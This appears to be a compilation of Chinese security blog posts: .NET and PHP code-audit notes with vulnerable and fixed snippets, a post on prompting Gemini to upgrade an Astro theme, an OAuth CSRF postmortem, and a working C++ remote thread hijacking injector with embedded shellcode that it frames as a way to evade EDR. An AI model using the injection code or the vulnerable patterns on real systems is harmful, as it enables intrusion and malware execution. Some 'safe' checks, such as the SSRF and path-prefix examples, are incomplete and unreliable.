    if (file == null || file.ContentLength == 0)
        return BadRequest("No file uploaded");

    const int maxFileSize = 5 * 1024 * 1024;
    if (file.ContentLength > maxFileSize)
        return BadRequest("File too large");

    var allowedExtensions = new[] { ".jpg", ".jpeg", ".png", ".gif" };
    var fileExtension = Path.GetExtension(file.FileName).ToLower();
    if (!allowedExtensions.Contains(fileExtension))
        return BadRequest("File type not allowed");

    var allowedMimes = new[] { "image/jpeg", "image/png", "image/gif" };
    if (!allowedMimes.Contains(file.ContentType))
        return BadRequest("Invalid MIME type");

    string safeFileName = Guid.NewGuid().ToString() + fileExtension;

    string uploadDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "uploads");
    if (!Directory.Exists(uploadDir))
        Directory.CreateDirectory(uploadDir);

    string fullPath = Path.Combine(uploadDir, safeFileName);
    string canonicalPath = Path.GetFullPath(fullPath);
    string canonicalDir = Path.GetFullPath(uploadDir);

    if (!canonicalPath.StartsWith(canonicalDir + Path.DirectorySeparatorChar) &&
        canonicalPath != canonicalDir)
        return BadRequest("Invalid file path");

    file.SaveAs(fullPath);
    File.SetAttributes(fullPath, FileAttributes.Normal);

    return Ok(new { fileName = safeFileName });
}

4. 反序列化漏洞

Sink点

BinaryFormatter.Deserialize()
SoapFormatter.Deserialize()
NetDataContractSerializer.ReadObject()
LosFormatter.Deserialize()
ObjectStateFormatter.Deserialize()
JsonConvert.DeserializeObject()

审计检查项

是否对不可信输入执行反序列化
数据来源是否可信（HTTP、Cookie）
是否实现了类白名单
JsonConvert的TypeNameHandling配置
是否存在自定义readObject方法
是否认识ViewState风险

风险代码模式

// 模式1：直接反序列化用户输入
byte[] data = Convert.FromBase64String(Request.QueryString["data"]);
var formatter = new BinaryFormatter();
object obj = formatter.Deserialize(new MemoryStream(data));

// 模式2：LosFormatter反序列化
string viewState = Request.Form["__VIEWSTATE"];
var formatter = new LosFormatter();
object obj = formatter.Deserialize(viewState);

// 模式3：JsonConvert不安全配置
var settings = new JsonSerializerSettings 
{
    TypeNameHandling = TypeNameHandling.All
};
var obj = JsonConvert.DeserializeObject(userInput, settings);

安全实现

// 方案1：使用安全的JsonConvert配置
var settings = new JsonSerializerSettings 
{
    TypeNameHandling = TypeNameHandling.None
};
var user = JsonConvert.DeserializeObject<User>(userInput, settings);

// 方案2：使用System.Text.Json
var options = new JsonSerializerOptions 
{
    TypeInfoResolver = null
};
var user = JsonSerializer.Deserialize<User>(userInput, options);

// 方案3：ViewState安全配置
// web.config中：
// <pages enableViewStateMac="true" viewStateEncryptionMode="Always" />

5. 任意文件读取

Sink点

File.ReadAllBytes()
File.ReadAllText()
Response.WriteFile()
Response.TransmitFile()
FileStream构造函数
StreamReader构造函数

审计检查项

用户参数是否直接作为文件路径
是否使用Path.GetFileName()清理
是否使用Path.GetFullPath()规范化
最终路径是否在允许目录内
是否实现了文件白名单

安全实现

public FileResult Download(string filename)
{
    string safeName = Path.GetFileName(filename);
    string baseDir = Path.GetFullPath("~/Files/");
    string filePath = Path.Combine(baseDir, safeName);
    string canonicalPath = Path.GetFullPath(filePath);
    
    if (!canonicalPath.StartsWith(baseDir))
        return HttpNotFound();
    
    if (!System.IO.File.Exists(canonicalPath))
        return HttpNotFound();
    
    return File(System.IO.File.ReadAllBytes(canonicalPath), 
                "application/octet-stream", 
                safeName);
}

6. 路径遍历

Sink点

所有文件操作

审计检查项

路径是否包含..、./等特殊序列
是否使用Path.GetFullPath()规范化
规范化后路径是否在基础目录内

安全实现

public string ValidatePath(string userInput)
{
    string baseDir = Path.GetFullPath("data/");
    string fullPath = Path.Combine(baseDir, userInput);
    string canonicalPath = Path.GetFullPath(fullPath);
    
    if (!canonicalPath.StartsWith(baseDir))
        throw new ArgumentException("Path traversal detected");
    
    return canonicalPath;
}

7. XXE (XML External Entity)

Sink点

XmlDocument.LoadXml()
XmlDocument.Load()
XmlReader.Create()
DataSet.ReadXml()

审计检查项

是否对不可信XML进行解析
DTD处理是否禁用
XmlResolver是否为null
是否设置XIncludeAware=false

安全实现

var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using (XmlReader reader = XmlReader.Create(xmlStream, settings))
{
    var doc = new XmlDocument();
    doc.Load(reader);
}

8. SSRF (Server-Side Request Forgery)

Sink点

WebClient.DownloadString()
WebClient.DownloadData()
HttpClient.GetAsync()
HttpClient.PostAsync()
WebRequest.Create()

审计检查项

是否允许用户指定URL
是否检测内部地址（127.0.0.1、localhost）
是否限制了协议（仅HTTP/HTTPS）
是否防止了DNS重绑定
域名是否在白名单内

安全实现

public async Task<string> FetchUrlSafely(string url)
{
    if (!Uri.TryCreate(url, UriKind.Absolute, out Uri uri))
        throw new ArgumentException("Invalid URL");
    
    if (uri.Scheme != "http" && uri.Scheme != "https")
        throw new ArgumentException("Only HTTP/HTTPS allowed");
    
    if (uri.Host == "127.0.0.1" || uri.Host == "localhost")
        throw new ArgumentException("Internal address not allowed");
    
    using (var client = new HttpClient())
    {
        return await client.GetStringAsync(url);
    }
}

9. 其他漏洞

XSS

Sink点：Response.Write()

检查项：是否对输出进行HTML编码

LDAP注入

Sink点：DirectorySearcher.Filter

检查项：是否对LDAP过滤器参数化

表达式注入

Sink点：System.Linq.Dynamic

检查项：是否允许用户提供表达式

10. 审计工具

静态分析：CodeQL、Semgrep、SonarQube、Fortify
动态检测：OWASP ZAP、Burp Suite
依赖检查：NuGet Audit、Snyk

PHP 代码审计 - 漏洞Sink点

Thu, 18 Dec 2025 00:00:00 GMT

1. SQL注入

Sink点

mysql_query()
mysqli_query()
mysqli::query()
PDO::query()
PDOStatement::execute()
PDO::prepare()

审计检查项

是否使用参数化查询
SQL字符串是否通过拼接构造
用户输入是否直接进入SQL
是否使用PDO::ATTR_EMULATE_PREPARES=false
DSN中是否指定字符集
是否使用bindParam()或bindValue()
特殊子句是否有白名单验证

风险代码模式

// 模式1：直接拼接
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = mysqli_query($conn, $query);

// 模式2：PDO未关闭模拟预处理
$pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass");
// PDO::ATTR_EMULATE_PREPARES默认为true
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

// 模式3：mysql_*函数
$username = mysql_real_escape_string($_GET['username']);
// 即使使用转义，也可能被绕过

安全实现

// 方案1：PDO参数化（完整配置）
$pdo = new PDO(
    "mysql:host=localhost;dbname=test;charset=utf8mb4",
    "user",
    "pass",
    [PDO::ATTR_EMULATE_PREPARES => false]
);

$username = $_GET['username'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
$users = $stmt->fetchAll();

// 方案2：命名占位符
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindParam(':username', $_GET['username'], PDO::PARAM_STR);
$stmt->execute();

// 方案3：MySQLi参数化
$username = $_GET['username'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();

2. 命令执行

Sink点

shell_exec()
exec()
system()
passthru()
popen()
proc_open()
eval()
assert()

审计检查项

用户输入是否直接作为命令
是否通过shell执行（/bin/sh -c）
是否实现了命令白名单
php.ini的disable_functions配置
是否过滤了特殊字符
反引号是否被使用

风险代码模式

// 模式1：直接执行用户输入
$cmd = $_GET['cmd'];
$output = shell_exec($cmd);

// 模式2：通过shell执行
$host = $_GET['host'];
echo shell_exec("ping " . $host);

// 模式3：简单的字符替换过滤
$cmd = str_replace(";", "", $_GET['cmd']);
// 但| 仍可使用

安全实现

// 方案1：命令白名单
$cmd = $_GET['cmd'];
$allowedCommands = ['whoami', 'date', 'pwd'];

if (!in_array($cmd, $allowedCommands)) {
    die("Command not allowed");
}

echo shell_exec($cmd);

// 方案2：参数白名单
$host = $_GET['host'];
$allowedHosts = ['google.com', 'github.com', 'example.com'];

if (!in_array($host, $allowedHosts)) {
    die("Host not allowed");
}

echo shell_exec("ping -c 4 " . escapeshellarg($host));

3. 文件上传和任意文件写入

Sink点

move_uploaded_file()
fopen() + fwrite()
file_put_contents()
chmod()
mkdir()

审计检查项

扩展名是否进行白名单验证
是否防止了.php、.phtml等可执行文件
MIME类型是否经过验证
文件名是否包含路径分隔符
是否使用basename()清理
保存路径是否在预期目录内
是否生成了新文件名
最终路径是否被规范化验证

风险代码模式

// 模式1：直接使用上传文件名
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
    $filename = $_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $filename);
}

// 模式2：仅检查扩展名
if (strpos($_FILES['file']['name'], '.jpg') !== false) {
    move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']);
}

// 模式3：使用客户端MIME
if ($_FILES['file']['type'] == 'image/jpeg') {
    move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']);
}

安全实现

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$max_file_size = 5 * 1024 * 1024;

if ($_FILES['file']['error'] != UPLOAD_ERR_OK) {
    die("Upload error");
}

if ($_FILES['file']['size'] > $max_file_size) {
    die("File too large");
}

$filename = $_FILES['file']['name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed_extensions)) {
    die("File type not allowed");
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
    die("Invalid MIME type");
}

$new_filename = bin2hex(random_bytes(16)) . '.' . $ext;

$upload_dir = '/absolute/path/to/uploads';
$upload_path = $upload_dir . DIRECTORY_SEPARATOR . $new_filename;
$upload_path = realpath(dirname($upload_path)) . DIRECTORY_SEPARATOR . $new_filename;

if (strpos($upload_path, realpath($upload_dir)) !== 0) {
    die("Invalid file path");
}

if (!move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
    die("Failed to move uploaded file");
}

chmod($upload_path, 0644);

4. 反序列化漏洞

Sink点

unserialize()
json_decode()

审计检查项

是否对不可信输入执行反序列化
数据来源是否可信
是否实现了类白名单
是否防止Phar伪协议利用

风险代码模式

// 模式1：直接反序列化
$data = $_GET['data'];
$obj = unserialize($data);

// 模式2：从Cookie反序列化
$user = unserialize($_COOKIE['user_data']);

// 模式3：Phar反序列化
$file = $_GET['file'];
if (file_exists($file)) {  // phar://exploit.phar触发反序列化
    // 处理文件
}

安全实现

// 方案1：使用白名单
$allowed_classes = ['User', 'Product'];
$data = $_GET['data'];
$obj = unserialize($data, ['allowed_classes' => $allowed_classes]);

// 方案2：禁止所有类反序列化
$obj = unserialize($_GET['data'], ['allowed_classes' => false]);

// 方案3：使用JSON替代
$obj = json_decode($_GET['data'], false);

5. 任意文件读取

Sink点

file_get_contents()
readfile()
fopen() + fread()
include() / require()
file()

审计检查项

用户参数是否直接作为文件路径
是否使用basename()清理
是否使用realpath()规范化
最终路径是否在允许目录内
是否实现了文件白名单

安全实现

// 方案1：文件白名单
$allowed_files = ['readme.txt', 'help.txt', 'faq.txt'];
$file = $_GET['file'];

if (!in_array($file, $allowed_files)) {
    die("File not found");
}

echo file_get_contents("files/" . $file);

// 方案2：路径规范化验证
$basedir = realpath(__DIR__ . '/files');
$filepath = realpath($basedir . '/' . $_GET['file']);

if ($filepath === false || strpos($filepath, $basedir) !== 0) {
    die("Access denied");
}

echo file_get_contents($filepath);

6. 路径遍历

Sink点

文件操作

审计检查项

路径是否包含..、./
是否使用realpath()规范化
规范化后路径是否在基础目录内

安全实现

$basedir = realpath(__DIR__ . '/downloads');
$filepath = realpath($basedir . '/' . $_GET['file']);

if ($filepath === false || strpos($filepath, $basedir) !== 0) {
    die("Access denied");
}

echo file_get_contents($filepath);

7. XXE (XML External Entity)

Sink点

simplexml_load_string()
simplexml_load_file()
DOMDocument::load()
DOMDocument::loadXML()

审计检查项

是否对不可信XML进行解析
外部实体是否被禁用
DTD处理是否被禁用

安全实现

libxml_disable_entity_loader(true);
$xml = simplexml_load_string($_POST['xml']);

8. SSRF (Server-Side Request Forgery)

Sink点

file_get_contents()
fopen()
curl_exec()
fsockopen()

审计检查项

是否允许用户指定URL
是否检测内部地址（127.0.0.1）
是否限制了协议（仅HTTP/HTTPS）
是否防止了DNS重绑定

安全实现

$url = $_GET['url'];
$parsed = parse_url($url);

if (!$parsed) die("Invalid URL");

if (!in_array($parsed['scheme'], ['http', 'https'])) {
    die("Invalid protocol");
}

$host = $parsed['host'];
if (filter_var($host, FILTER_VALIDATE_IP)) {
    $ip = ip2long($host);
    
    if (($ip >= ip2long('10.0.0.0') && $ip <= ip2long('10.255.255.255')) ||
        ($ip >= ip2long('172.16.0.0') && $ip <= ip2long('172.31.255.255')) ||
        ($ip >= ip2long('192.168.0.0') && $ip <= ip2long('192.168.255.255'))) {
        die("Private IP address not allowed");
    }
}

$allowed_domains = ['example.com', 'api.example.com'];
if (!in_array($host, $allowed_domains)) {
    die("Domain not in whitelist");
}

$content = file_get_contents($url);

9. 代码执行

eval

Sink点：eval()

检查项：是否使用了eval

assert

Sink点：assert()

检查项：是否使用了assert

文件包含

Sink点：include() / require()

检查项：用户输入是否用于包含

安全实现（文件包含）

$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowed_pages)) {
    die("Page not found");
}

include("pages/" . $page . ".php");

10. 模板注入

Sink点

Twig_Loader_String
template.render()

审计检查项

是否允许用户编辑模板
是否将用户输入作为模板

安全实现

$loader = new Twig_Loader_Filesystem('templates/');
$twig = new Twig_Environment($loader);
$output = $twig->render('index.html', ['name' => $_GET['name']]);

11. 安全配置

关键php.ini设置：

disable_functions = eval, assert, system, exec, shell_exec, passthru, proc_open
allow_url_include = Off
allow_url_fopen = Off
upload_max_filesize = 5M
max_file_uploads = 20
display_errors = Off
log_errors = On
session.cookie_httponly = On
session.cookie_secure = On
expose_php = Off
open_basedir = /var/www/html:/tmp:/usr/share/php

12. 审计工具

静态分析：RIPS、SonarQube、Fortify、Semgrep
代码规范：PHPCS、PHPStan、Psalm
依赖检查：Composer Audit

我给 Gemini 写了一份操作指南让它帮我完成了 Astro 主题的无痛升级

Wed, 17 Sep 2025 10:30:00 GMT

import { Image } from 'astro:assets'

import imgWorkflow1 from './assets/img.png' import imgWorkflow2 from './assets/img_1.png'

作为开发者，我们都清楚保持项目依赖更新是多么重要，它几乎是一种"必要的恶"。一方面，新版本带来了新功能、性能优化和安全补丁；另一方面，手动更新的过程却常常枯燥、繁琐，甚至暗藏风险。你需要仔细阅读更新日志，比对文件差异，然后像拆弹专家一样，小心翼翼地修改代码，祈祷不要引入新的问题。

我的个人博客，用的是一款名为 astro-theme-pure 的 Astro 主题。最近，我发现它已经从我使用的 4.0.6 版本迭代了数次。一想到要手动追赶这些更新，我就感到一阵头疼。

但这一次，我决定换个玩法。我不想再自己动手了，我想试试让 AI 来完成这一切。

这篇文章，就是我如何通过向 Google Gemini 发出一个指令，让它扮演我的高级前端工程师，安全、增量地完成整个 Astro 主题升级的完整记录。

编写提示词

我想让 Gemini 扮演的，不是一个只能聊天的语言模型，而是一个能独立思考、使用工具、并严格遵循流程的"高级前端开发工程师"。要做到这一点，关键在于为它提供一份清晰的岗位说明书和必要的系统权限（函数调用）。

我花了一些时间，精心设计了一份初始指令，并将其保存在项目的 GEMINI.md 文件中。这份文件，就是 Gemini 在这次任务中的行动纲领与行为准则：

你好。现在，你将扮演我的高级前端开发工程师和构建系统专家，专门负责Astro框架。
你的任务是：将我当前项目中使用的 astro-theme-pure 主题，安全、增量地更新到最新的版本。
你的核心目标是： 通过小步、迭代的方式完成更新，确保每一步都能成功构建（npm run build），并在成功后进行一次Git提交，最终在不引入任何错误（尤其是水合错误）的情况下，将主题更新到最新。
你的信息源：
官方更新文档: https://astro-pure.js.org/docs/advanced/update
GitHub 主分支提交记录: https://github.com/cworld1/astro-theme-pure/commits/main/
请严格遵守以下协作流程 (The Workflow):
1.  **分析变更**: 你的第一步是访问并分析上述两个URL，理解从我当前版本（假设是一个较早的版本）到最新版本之间所有的变更。将这些变更在你的脑海里分解成一个个逻辑块（例如：配置文件变更、组件API变更、样式变更等）。
2.  **增量提出方案**: 不要一次性进行所有的修改。你需要根据提交记录的顺序或更新文档的步骤，一次提出一个逻辑上独立的、最小化的变更集。
3.  **提供精确指令**: 对于每一步变更，注意以下原则：
    *   需要修改的文件名。
    *   具体的代码修改，最好使用diff格式（以+和-标示增删）或直接提供修改后的完整代码块。
    *   对这项变更的简要解释（例如："这是为了适配Astro 4.0的新配置格式"）。
4.  **修改代码，然后运行 npm run build**。
5.  **处理构建结果**: 查看构建结果：
    *   **构建成功**，你需要为这次变更提供一个标准的Git Commit Message（例如 feat(theme): Sync config updates from vX.X），然后继续提出下一个变更集。
    *   **构建失败** 并附上错误日志，你的任务是分析错误日志，并进行调试，进行修复。要特别关注与`client:`指令、UI框架（如React/Svelte）相关的错误，因为它们是水合错误的常见来源。

现在，请开始吧。分析信息源，按照我的要求进行更新。

这份指令的核心，是将一个模糊的"更新任务"，变成了一个清晰、可执行的算法。我给了它目标、信息源、工具，以及最重要的——一个标准化的工作流程。

低交互，高自动化的工作

准备就绪。我在配置好指令的 Gemini CLI 中，发出了第一个请求。

我: 我当前的版本是 4.0.6，请帮我更新到最新的版本。

Gemini 领命而去，严格按照我预设的 The Workflow 开始了它的工作。 <Image src={imgWorkflow1} alt='AI 扮演开发伙伴的工作流示意' widths={[720, 1080, 1365]} sizes="(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px" format='webp' loading='lazy' decoding='async' class='rounded-xl shadow-sm' />

第一阶段信息收集

它做的第一件事，是调用内置的 web_fetch 工具，访问我提供的官方更新文档和 GitHub 提交历史。它像一个经验丰富的开发者一样，"阅读"并消化了从 4.0.6 到最新版之间的所有变更日志和代码提交。

第二阶段制定计划

基于分析结果，Gemini 没有鲁莽地一次性应用所有变更。它将整个更新过程拆解成了一系列逻辑独立的微小步骤，在脑海里形成了一份增量更新计划。例如：

先更新 astro.config.ts 中的配置项。
再替换某个已经废弃的组件 API。
然后调整 tailwind.config.ts 的样式配置。
……

第三阶段 "修改-构建-验证"的闭环

接着，好戏上演了。对于计划中的每一步，Gemini 都一丝不苟地执行着一个"修改 -> 构建 -> 验证"的循环，这构成了整个流程的核心。

精准修改 Gemini 会调用 read_file 读取目标文件，然后使用 replace 或 write_file 工具，将新的代码应用进去。它提供的代码变更极其精确，完全复刻了源仓库的修改，避免了任何手动复制粘贴可能引入的错误。
立即构建 代码修改完成后，它会立刻调用 run_shell_command 工具执行 npm run build。这一步是至关重要的"守门人"，确保了每一步微小的改动都不会破坏项目的完整性。
处理结果
- 如果构建成功，Gemini 会向我汇报成功，并草拟一条符合规范的 Git Commit Message 等待我确认。这不仅保证了更新历史的清晰可追溯，也让我对整个过程了如指掌。
- 如果构建失败，它会捕获错误日志，并立刻进入"调试模式"。它会分析错误原因，然后在下一步操作中提出修复方案。

<Image src={imgWorkflow2} alt='AI 扮演开发伙伴的工作流示意2' widths={[720, 1080, 1365]} sizes="(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px" format='webp' loading='lazy' decoding='async' class='rounded-xl shadow-sm' /> AI 扮演开发伙伴的工作流示意

一些思考

我们正处在一个激动人心的时代。AI 不再仅仅是编辑器里的"自动补全"插件，它正在演变为一个能够理解复杂任务、使用工具、并遵循预定工作流的"智能体"（Agent）。

这次实践让我深刻体会到，将大型语言模型作为开发"协作者"的巨大潜力。它将原本可能需要数小时的人工操作，压缩到了几分钟的机器执行时间；它用机器的精确性，取代了人工操作的易错性。更重要的是，通过一份精心设计的 Prompt，我们可以将团队的最佳实践（如增量更新、构建验证、清晰提交）固化为 AI 的行为准则，从而保证了工程质量。

可以预见，未来更多繁琐、重复的开发任务，像是复杂的代码重构、跨项目依赖管理、甚至根据设计稿自动生成组件代码，都可能被 AI 接管。而我们开发者，则能将宝贵的精力，投入到架构设计、用户体验和业务创新这些更具创造性的工作中去。

当然，目前的流程仍需人的监督与引导，但它无疑为我们打开了一扇通往"人机协作编程"新世界的大门。

一次由state参数缺失引发的OAuth 2.0 CSRF安全事件复盘

Tue, 12 Aug 2025 11:23:08 GMT

import { Image } from 'astro:assets'

import imgFlow from './assets/state-prevents-oauth-csrf.svg'

一次常规安全测试中的发现

在一次对应用进行安全测试时，我注意到"绑定Google账户"功能的实现方式存在一个高风险隐患。

从表面看，授权流程非常标准：用户点击按钮，跳转至Google授权页面，同意后返回应用，完成绑定。但通过分析网络请求，我发现了一个关键问题：在向Google发起的授权请求URL中，缺少了 state 参数。

在OAuth 2.0授权框架中，state 参数是防御跨站请求伪造（CSRF）攻击的核心机制。它的缺失，意味着授权流程存在被攻击者利用、导致账户接管的严重风险。

state 缺失如何导致账户接管

缺少 state 参数的验证，为攻击者实施CSRF攻击提供了可能。攻击者可以诱导已登录用户，将其账户与攻击者控制的第三方账户进行绑定。

具体的攻击流程可以分解如下：

攻击者获取自身授权码：攻击者在自己的设备上发起"绑定Google账户"的流程，从跳转到Google的授权URL中，提取出包含自身Google账户信息的授权码（code）。
构造恶意请求：攻击者创建一个恶意页面或链接。当用户点击时，会向目标应用的回调接口发起请求，但请求中携带的是第一步中获取的、属于攻击者的授权码。
诱导受害者触发：攻击者通过社交工程等手段，诱导一个已登录目标应用的受害者访问该恶意链接。
完成恶意绑定：由于受害者在浏览器中保持着登录状态，目标应用的后端服务器在收到请求时，会误认为这是受害者本人发起的合法操作。服务器使用攻击者的授权码完成了绑定流程，结果是受害者的应用账户与攻击者的Google账户被绑定。
实现账户接管：攻击者此后便可通过"使用Google登录"功能，直接访问受害者的账户。

整个过程的关键在于，服务器无法验证收到的回调请求是否源自最初由用户发起的、合法的授权流程。

修复过程中存在的误区

我将此漏洞报告给开发团队后，团队迅速响应并推出了一个修复方案。然而，这个初版方案存在一个根本性的设计缺陷。

方案内容是：在前端通过JavaScript生成一个随机字符串作为 state，并将其存储在浏览器的 localStorage 中。当Google回调时，同样在前端通过JavaScript从 localStorage 中取出该值，与URL中的 state 参数进行比对。

这个方案是无效的，因为它违背了CSRF防御的一个核心原则：安全验证必须在可信的后端进行。

客户端环境（包括 localStorage）对攻击者来说是完全透明且可控的。攻击者可以在他的恶意页面中轻易地生成任意 state 值，并将其同时置入 localStorage 和发往Google的请求中。对于只在前端进行验证的逻辑而言，这样的请求是"合法"的，因此漏洞并未得到实质性修复。

通过服务端生成与验证修复漏洞

在指出前端验证方案的不足后，我们最终实施了行业标准的安全方案：将 state 参数的生成、存储和验证全部置于后端服务器管理。

正确的流程如下：

服务端生成与存储 state：当用户发起绑定请求时，后端服务器生成一个高熵的、不可预测的随机字符串作为 state 值。同时，将此 state 值与当前用户的会话（Session）进行绑定，并设置一个较短的有效期。
向客户端下发 state：后端将生成的 state 值附加到提供给前端的Google授权URL中。
Google回调：用户完成授权后，Google会将授权码 code 和原始的 state 参数一并发送至应用的回调接口。
服务端验证 state：在回调接口中，后端服务器从当前用户的会话中取出之前存储的 state 值，并与请求URL中的 state 参数进行严格、恒定时间的比较（timing-safe comparison）。
- 如果两者完全匹配，则证明该请求是合法的，可以继续后续的授权流程。
- 如果不匹配或会话中不存在对应的 state 值，则必须立即拒绝该请求，因为它极可能是一次CSRF攻击。

通过这个闭环流程，state 参数成为了一个一次性的、与用户会话强绑定的令牌，确保了授权请求的完整性和真实性，从而根除了CSRF攻击的威胁。

思考

这次安全事件再次强调了几个基础但至关重要的安全开发原则：

严格遵循安全规范：OAuth 2.0等成熟框架中的每一个参数都有其明确的安全目的，不可随意省略或误用。
明确信任边界：安全相关的验证逻辑必须在服务端执行，绝不能依赖任何来自客户端的数据或逻辑。
理解安全机制的原理：只有深入理解了 state 参数为何能防范CSRF，才能设计出真正有效的安全方案，避免做出"看似修复"的无效改动。

希望本次复盘能为其他开发者在实施OAuth 2.0及类似授权协议时提供有价值的参考。

远程线程劫持的 C++ 实现

Tue, 29 Jul 2025 15:38:42 GMT

import { Image } from 'astro:assets'

import imgFlow from './assets/remoteThreadHijacking.svg' import imgResult from './assets/image-20250731114718631.png'

远程线程劫持的流程

打开远程进程和线程
挂起目标线程
分配内存并写入 Shellcode
获取该线程的上下文
修改上下文中的指令指针（RIP/EIP）指向Shellcode地址
设置线程上下文
恢复线程执行

C++实现

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

DWORD GetTargetThreadId(DWORD pid) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);

    if (Thread32First(hSnap, &te32)) {
        do {
            if (te32.th32OwnerProcessID == pid) {
                CloseHandle(hSnap);
                return te32.th32ThreadID;
            }
        } while (Thread32Next(hSnap, &te32));
    }
    CloseHandle(hSnap);
    return 0;
}

int main() {
    DWORD targetPID = 37904; // 目标进程PID
    DWORD targetTID = GetTargetThreadId(targetPID);

    if (!targetTID) {
        std::cout << "[-] 未找到目标线程\n";
        return -1;
    }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, targetTID);

    if (!hProcess || !hThread) {
        std::cout << "[-] 无法打开进程或线程\n";
        return -1;
    }

    // 分配内存
    LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(buf),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    // 写入Shellcode
    WriteProcessMemory(hProcess, pRemoteShellcode, buf, sizeof(buf), NULL);

    // 挂起线程
    SuspendThread(hThread);

    // 修改上下文
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hThread, &ctx);
    ctx.Rip = (DWORD64)pRemoteShellcode;
    SetThreadContext(hThread, &ctx);

    // 恢复执行
    ResumeThread(hThread);

    std::cout << "[+] 线程劫持成功，Shellcode 已执行\n";

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

关于执行时机

一个常见的新手误区是：认为调用 ResumeThread 后，Shellcode 会立即执行。但实际情况并非如此。代码在执行结束后过一段时间才会执行shellcode。

因为当调用 SetThreadContext(hThread, &ctx) 并将 Rip 设置为远程 Shellcode 地址后，并没有让线程立即运行这段代码，而是在当这个线程被操作系统调度器重新投入运行时，目标线程才会从我们设置的 Rip 地址开始执行。

这就意味着：目标线程当前可能处于"挂起"、"等待消息"、"空闲"或"阻塞"状态，即使我们调用了 ResumeThread，也不能保证它立刻被调度执行。

本地线程劫持的 C++ 实现

Tue, 29 Jul 2025 13:02:54 GMT

import { Image } from 'astro:assets'

import imgFlow from './assets/threadHijacking.svg' import imgResult from './assets/image-20250729150258068.png'

线程劫持

线程劫持（Thread Hijacking）是一种在Windows系统下常见的代码注入与执行技术，广泛应用于红队攻击、渗透测试、恶意软件免杀等领域。

局部线程创建是线程劫持的一种实现方式，也被称为"本地线程劫持"或"挂起线程创建后劫持"。

线程劫持的核心思想

创建一个被挂起的线程（Suspended Thread），修改其执行上下文（Context），将指令指针（RIP/EIP）指向我们准备好的Shellcode，再恢复线程执行，从而达到执行任意代码的目的。

这种方式相比于直接使用 CreateThread 执行Shellcode，具有更强的隐蔽性，因为：

线程是合法创建的（调用 CreateThread 是正常API）
Shellcode 并非直接作为线程入口，而是通过修改上下文注入，绕过部分EDR的直接内存扫描
可实现无文件落地、内存执行

本地线程劫持的流程

